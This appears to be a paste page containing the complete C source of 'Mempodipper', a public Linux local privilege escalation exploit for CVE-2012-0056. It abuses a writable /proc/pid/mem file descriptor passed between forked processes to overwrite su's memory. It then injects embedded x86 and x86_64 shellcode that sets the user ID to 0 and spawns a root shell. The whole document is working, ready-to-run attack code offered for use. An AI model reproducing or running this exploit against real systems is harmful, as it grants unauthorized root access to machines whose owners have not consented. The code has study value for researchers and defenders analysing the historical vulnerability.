SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | *Name : Mempodipper.c | |
| 3 | *Kernal Version : x86_64 Linux >=2.6.39 | |
| 4 | *CVE : CVE-2012-0056 | |
| 5 | ||
| 6 | * Mempodipper | |
| 7 | * by zx2c4 | |
| 8 | * | |
| 9 | * Linux Local Root Exploit | |
| 10 | * | |
| 11 | * Rather than put my write up here, per usual, this time I've put it | |
| 12 | * in a rather lengthy blog post: http://blog.zx2c4.com/749 | |
| 13 | * | |
| 14 | * Enjoy. | |
| 15 | * | |
| 16 | * - zx2c4 | |
| 17 | * Jan 21, 2012 | |
| 18 | * | |
| 19 | * CVE-2012-0056 | |
| 20 | */ | |
| 21 | ||
| 22 | #define _LARGEFILE64_SOURCE | |
| 23 | #include <stdio.h> | |
| 24 | #include <string.h> | |
| 25 | #include <stdlib.h> | |
| 26 | #include <sys/types.h> | |
| 27 | #include <sys/stat.h> | |
| 28 | #include <sys/socket.h> | |
| 29 | #include <sys/un.h> | |
| 30 | #include <fcntl.h> | |
| 31 | #include <unistd.h> | |
| 32 | #include <limits.h> | |
| 33 | ||
| 34 | int send_fd(int sock, int fd) | |
| 35 | {
| |
| 36 | char buf[1]; | |
| 37 | struct iovec iov; | |
| 38 | struct msghdr msg; | |
| 39 | struct cmsghdr *cmsg; | |
| 40 | int n; | |
| 41 | char cms[CMSG_SPACE(sizeof(int))]; | |
| 42 | ||
| 43 | buf[0] = 0; | |
| 44 | iov.iov_base = buf; | |
| 45 | iov.iov_len = 1; | |
| 46 | ||
| 47 | memset(&msg, 0, sizeof msg); | |
| 48 | msg.msg_iov = &iov; | |
| 49 | msg.msg_iovlen = 1; | |
| 50 | msg.msg_control = (caddr_t)cms; | |
| 51 | msg.msg_controllen = CMSG_LEN(sizeof(int)); | |
| 52 | ||
| 53 | cmsg = CMSG_FIRSTHDR(&msg); | |
| 54 | cmsg->cmsg_len = CMSG_LEN(sizeof(int)); | |
| 55 | cmsg->cmsg_level = SOL_SOCKET; | |
| 56 | cmsg->cmsg_type = SCM_RIGHTS; | |
| 57 | memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); | |
| 58 | ||
| 59 | if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) | |
| 60 | return -1; | |
| 61 | close(sock); | |
| 62 | return 0; | |
| 63 | } | |
| 64 | ||
| 65 | int recv_fd(int sock) | |
| 66 | {
| |
| 67 | int n; | |
| 68 | int fd; | |
| 69 | char buf[1]; | |
| 70 | struct iovec iov; | |
| 71 | struct msghdr msg; | |
| 72 | struct cmsghdr *cmsg; | |
| 73 | char cms[CMSG_SPACE(sizeof(int))]; | |
| 74 | ||
| 75 | iov.iov_base = buf; | |
| 76 | iov.iov_len = 1; | |
| 77 | ||
| 78 | memset(&msg, 0, sizeof msg); | |
| 79 | msg.msg_name = 0; | |
| 80 | msg.msg_namelen = 0; | |
| 81 | msg.msg_iov = &iov; | |
| 82 | msg.msg_iovlen = 1; | |
| 83 | ||
| 84 | msg.msg_control = (caddr_t)cms; | |
| 85 | msg.msg_controllen = sizeof cms; | |
| 86 | ||
| 87 | if ((n = recvmsg(sock, &msg, 0)) < 0) | |
| 88 | return -1; | |
| 89 | if (n == 0) | |
| 90 | return -1; | |
| 91 | cmsg = CMSG_FIRSTHDR(&msg); | |
| 92 | memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); | |
| 93 | close(sock); | |
| 94 | return fd; | |
| 95 | } | |
| 96 | ||
| 97 | int main(int argc, char **argv) | |
| 98 | {
| |
| 99 | if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
| |
| 100 | char parent_mem[256]; | |
| 101 | sprintf(parent_mem, "/proc/%d/mem", getppid()); | |
| 102 | printf("[+] Opening parent mem %s in child.\n", parent_mem);
| |
| 103 | int fd = open(parent_mem, O_RDWR); | |
| 104 | if (fd < 0) {
| |
| 105 | perror("[-] open");
| |
| 106 | return 1; | |
| 107 | } | |
| 108 | printf("[+] Sending fd %d to parent.\n", fd);
| |
| 109 | send_fd(atoi(argv[2]), fd); | |
| 110 | return 0; | |
| 111 | } | |
| 112 | ||
| 113 | printf("===============================\n");
| |
| 114 | printf("= Mempodipper =\n");
| |
| 115 | printf("= by zx2c4 =\n");
| |
| 116 | printf("= Jan 21, 2012 =\n");
| |
| 117 | printf("===============================\n\n");
| |
| 118 | ||
| 119 | int sockets[2]; | |
| 120 | printf("[+] Opening socketpair.\n");
| |
| 121 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
| |
| 122 | perror("[-] socketpair");
| |
| 123 | return -1; | |
| 124 | } | |
| 125 | if (fork()) {
| |
| 126 | printf("[+] Waiting for transferred fd in parent.\n");
| |
| 127 | int fd = recv_fd(sockets[1]); | |
| 128 | printf("[+] Received fd at %d.\n", fd);
| |
| 129 | if (fd < 0) {
| |
| 130 | perror("[-] recv_fd");
| |
| 131 | return -1; | |
| 132 | } | |
| 133 | printf("[+] Assigning fd %d to stderr.\n", fd);
| |
| 134 | dup2(2, 6); | |
| 135 | dup2(fd, 2); | |
| 136 | ||
| 137 | unsigned long address; | |
| 138 | if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') | |
| 139 | address = strtoul(argv[2], NULL, 16); | |
| 140 | else {
| |
| 141 | printf("[+] Reading su for exit@plt.\n");
| |
| 142 | // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. | |
| 143 | FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
| |
| 144 | char result[32]; | |
| 145 | result[0] = 0; | |
| 146 | fgets(result, 32, command); | |
| 147 | pclose(command); | |
| 148 | address = strtoul(result, NULL, 16); | |
| 149 | if (address == ULONG_MAX || !address) {
| |
| 150 | printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
| |
| 151 | printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
| |
| 152 | return 1; | |
| 153 | } | |
| 154 | printf("[+] Resolved exit@plt to 0x%lx.\n", address);
| |
| 155 | } | |
| 156 | printf("[+] Calculating su padding.\n");
| |
| 157 | FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
| |
| 158 | char result[256]; | |
| 159 | result[0] = 0; | |
| 160 | fgets(result, 256, command); | |
| 161 | pclose(command); | |
| 162 | unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); | |
| 163 | unsigned long offset = address - su_padding; | |
| 164 | printf("[+] Seeking to offset 0x%lx.\n", offset);
| |
| 165 | lseek64(fd, offset, SEEK_SET); | |
| 166 | ||
| 167 | #if defined(__i386__) | |
| 168 | // See shellcode-32.s in this package for the source. | |
| 169 | char shellcode[] = | |
| 170 | "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" | |
| 171 | "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" | |
| 172 | "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" | |
| 173 | "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" | |
| 174 | "\x80"; | |
| 175 | #elif defined(__x86_64__) | |
| 176 | // See shellcode-64.s in this package for the source. | |
| 177 | char shellcode[] = | |
| 178 | "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" | |
| 179 | "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" | |
| 180 | "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" | |
| 181 | "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" | |
| 182 | "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; | |
| 183 | ||
| 184 | #else | |
| 185 | #error "That platform is not supported." | |
| 186 | #endif | |
| 187 | printf("[+] Executing su with shellcode.\n");
| |
| 188 | execl("/bin/su", "su", shellcode, NULL);
| |
| 189 | } else {
| |
| 190 | char sock[32]; | |
| 191 | sprintf(sock, "%d", sockets[0]); | |
| 192 | printf("[+] Executing child from child fork.\n");
| |
| 193 | execl("/proc/self/exe", argv[0], "-c", sock, NULL);
| |
| 194 | } | |
| 195 | } |